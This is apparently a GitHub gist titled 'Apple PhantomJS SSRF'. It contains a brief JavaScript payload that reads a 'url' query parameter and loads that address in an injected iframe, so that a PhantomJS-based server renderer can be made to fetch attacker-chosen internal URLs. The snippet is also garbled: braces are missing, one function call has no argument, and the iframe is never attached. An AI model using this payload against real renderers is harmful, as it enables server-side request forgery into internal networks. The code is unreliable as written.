Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
Apple PhantomJS SSRF
function getQueryParams(qs) {
qs = qs.split('+').join(' ');
var params = {},
re = /[?&]?([^=]+)=([^&]*)/g;
while (tokens = re.exec(qs)) {
params[decodeURIComponent(tokens[1])] = decodeURIComponent(tokens[2]);
return params;
var query = getQueryParams(;
var iframe = document.createElement("iframe");
iframe.src = query.url;
var iframeParent = document.getElementById("meta");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment